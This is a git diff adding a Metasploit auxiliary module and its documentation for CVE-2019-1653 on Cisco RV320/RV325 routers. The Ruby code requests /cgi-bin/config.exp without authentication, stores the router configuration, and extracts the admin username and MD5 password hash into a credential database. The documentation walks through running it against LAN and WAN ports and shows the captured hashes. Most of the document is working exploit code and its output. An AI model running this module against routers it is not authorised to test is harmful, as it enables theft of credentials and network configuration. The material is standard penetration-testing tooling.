diff --git a/documentation/modules/auxiliary/gather/cisco_rv320_config.md b/documentation/modules/auxiliary/gather/cisco_rv320_config.md new file mode 100644 index 0000000000..85519cdca1 --- /dev/null +++ b/documentation/modules/auxiliary/gather/cisco_rv320_config.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +[CVE-2019-1653](https://nvd.nist.gov/vuln/detail/CVE-2019-1653) (aka Cisco Bugtracker ID [CSCvg85922](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info)) is an unauthenticated disclosure of device configuration information for the Cisco RV320/RV325 small business router. The vulnerability was responsibly disclosed by [RedTeam Pentesting GmbH](https://seclists.org/fulldisclosure/2019/Jan/52). + +An exposed remote administration interface (on :443) would allow an attacker to retrieve password hashes and other sensitive device configuration information. On version `1.4.2.15`, the vulnerabilty is exploitable via the WAN interface on port 8007 (by default) or 443 (if remote administration is enabled), in addition to port 443 on the LAN side. On version `1.4.2.17`, only LAN port 443 is accessible by default, but user configuration can open port 443 for remote management on the WAN side, making the device vulnerable externally. + +More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019/01/29/cisco-r-rv320-rv325-router-unauthenticated-configuration-export-vulnerability-cve-2019-1653-what-you-need-to-know/). + + +## Verification Steps + + 1. Start `msfconsole` + 2. `use auxiliary/gather/cisco_rv320_config` + 3. `set RHOSTS 192.168.1.1` (default LAN IP) or to the WAN interface + 4. `run` + 5. Review the downloaded configuration file cited in the output. For example: +>``` +>[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt +>``` + 6. If the database is connected, review the `hosts`, `creds`, and `loot` commands + +## Options + +*SSL*: Should be set to 'true' for port 443 and set to 'false' for port 80 or port 8007. + +*TARGETURI*: Should point to the `/cgi-bin/config.exp` endpoint and likely should never be changed. + +## Scenarios + +#### Against firmware version 1.4.2.15, which on the LAN side, port 443: + +``` +msf5 > +msf5 > use auxiliary/gather/cisco_rv320_config +msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +RHOSTS => 192.168.1.1 +msf5 auxiliary(gather/cisco_rv320_config) > run + +[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Against firmware version 1.4.2.15, on the WAN side, port 8007: + +``` +msf5 > +msf5 > use auxiliary/gather/cisco_rv320_config +msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 172.16.0.34 +RHOSTS => 192.168.1.1 +msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007 +RPORT => 8007 +msf5 auxiliary(gather/cisco_rv320_config) > set SSL false +SSL => false +msf5 auxiliary(gather/cisco_rv320_config) > run + +[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Against firmware version 1.4.2.17, which on the LAN side, port 443: + +``` +msf5 > +msf5 > use auxiliary/gather/cisco_rv320_config +msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +RHOSTS => 192.168.1.1 +msf5 auxiliary(gather/cisco_rv320_config) > run + +[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Against newer firmware (>= 1.4.2.19): + +``` +msf5 > +msf5 > use auxiliary/gather/cisco_rv320_config +msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +RHOSTS => 192.168.1.1 +msf5 auxiliary(gather/cisco_rv320_config) > run + +[-] Auxiliary aborted due to failure: not-vulnerable: Response suggests device is patched +[*] Auxiliary module execution completed +``` + +#### If module succeeds, check the database: + +``` +msf5 auxiliary(gather/cisco_rv320_config) > hosts + +Hosts +===== + +address mac name os_name os_flavor os_sp purpose info comments +------- --- ---- ------- --------- ----- ------- ---- -------- +172.16.0.34 70:E4:22:94:E7:20 router94e720 Cisco RV320 +192.168.1.1 70:E4:22:94:E7:20 router94e720 Cisco RV320 +``` + +``` +msf5 auxiliary(gather/cisco_rv320_config) > creds +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +172.16.0.34 192.168.1.1 8007/tcp (http) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash +192.168.1.1 192.168.1.1 443/tcp (https) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash +``` + +``` +msf5 auxiliary(gather/cisco_rv320_config) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +172.16.0.34 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt +192.168.1.1 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206211312_default_192.168.1.1_cisco.rv.config_412095.txt +``` diff --git a/modules/auxiliary/gather/cisco_rv320_config.rb b/modules/auxiliary/gather/cisco_rv320_config.rb new file mode 100644 index 0000000000..359dbf95d9 --- /dev/null +++ b/modules/auxiliary/gather/cisco_rv320_config.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco RV320/RV326 Configuration Disclosure', + 'Description' => %q{ + A vulnerability in the web-based management interface of Cisco Small Business + RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated, + remote attacker to retrieve sensitive information. The vulnerability is due + to improper access controls for URLs. An attacker could exploit this + vulnerability by connecting to an affected device via HTTP or HTTPS and + requesting specific URLs. A successful exploit could allow the attacker to + download the router configuration or detailed diagnostic information. Cisco + has released firmware updates that address this vulnerability. + }, + 'Author' => + [ + 'RedTeam Pentesting GmbH ', + 'Aaron Soto ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '46262'], + ['BID', '106732'], + ['CVE', '2019-1653'], + ['URL', 'https://seclists.org/fulldisclosure/2019/Jan/52'], + ['URL', 'https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801'], + ['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html'] + ], + 'DisclosureDate' => 'Jan 24 2019', + 'DefaultOptions' => + { + 'SSL' => true + } + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'Path to the device configuration file', '/cgi-bin/config.exp']), + ]) + end + + def report_cred(user,hash) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'md5', + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def parse_config(config) + # Report loot to database (and store on filesystem) + stored_path = store_loot('cisco.rv.config', 'text/plain', rhost, config) + print_good("Stored configuration (#{config.length} bytes) to #{stored_path}") + + # Report host information to database + mac = config.match(/^LANMAC=(.*)/)[1] + mac = "%s:%s:%s:%s:%s:%s" % [mac[0..1], mac[2..3], mac[4..5], + mac[6..7], mac[8..9], mac[10..11]] + hostname = config.match(/^HOSTNAME=(.*)/)[1] + model = config.match(/^MODEL=(.*)/)[1] + report_host(host: rhost, + mac: mac, + name: hostname, + os_name: "Cisco", + os_flavor: model) + + # Report password hashes to database + user = config.match(/^user (.*)/)[1] + hash = config.match(/^password (.*)/)[1] + report_cred(user, hash) + end + + def run + begin + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + }, 60) + rescue OpenSSL::SSL::SSLError + fail_with(Failure::UnexpectedReply, "SSL handshake failed. Consider setting 'SSL' to 'false' and trying again.") + end + + if res.nil? + fail_with(Failure::UnexpectedReply, "Empty response. Please validate the RHOST and TARGETURI options and try again.") + elsif res.code != 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response. Please validate the RHOST and TARGETURI options and try again.") + end + + body = res.body + if body.match(/####sysconfig####/) + parse_config(body) + else body.include?"meta http-equiv=refresh content='0; url=/default.htm'" + fail_with(Failure::NotVulnerable, "Response suggests device is patched") + end + end +end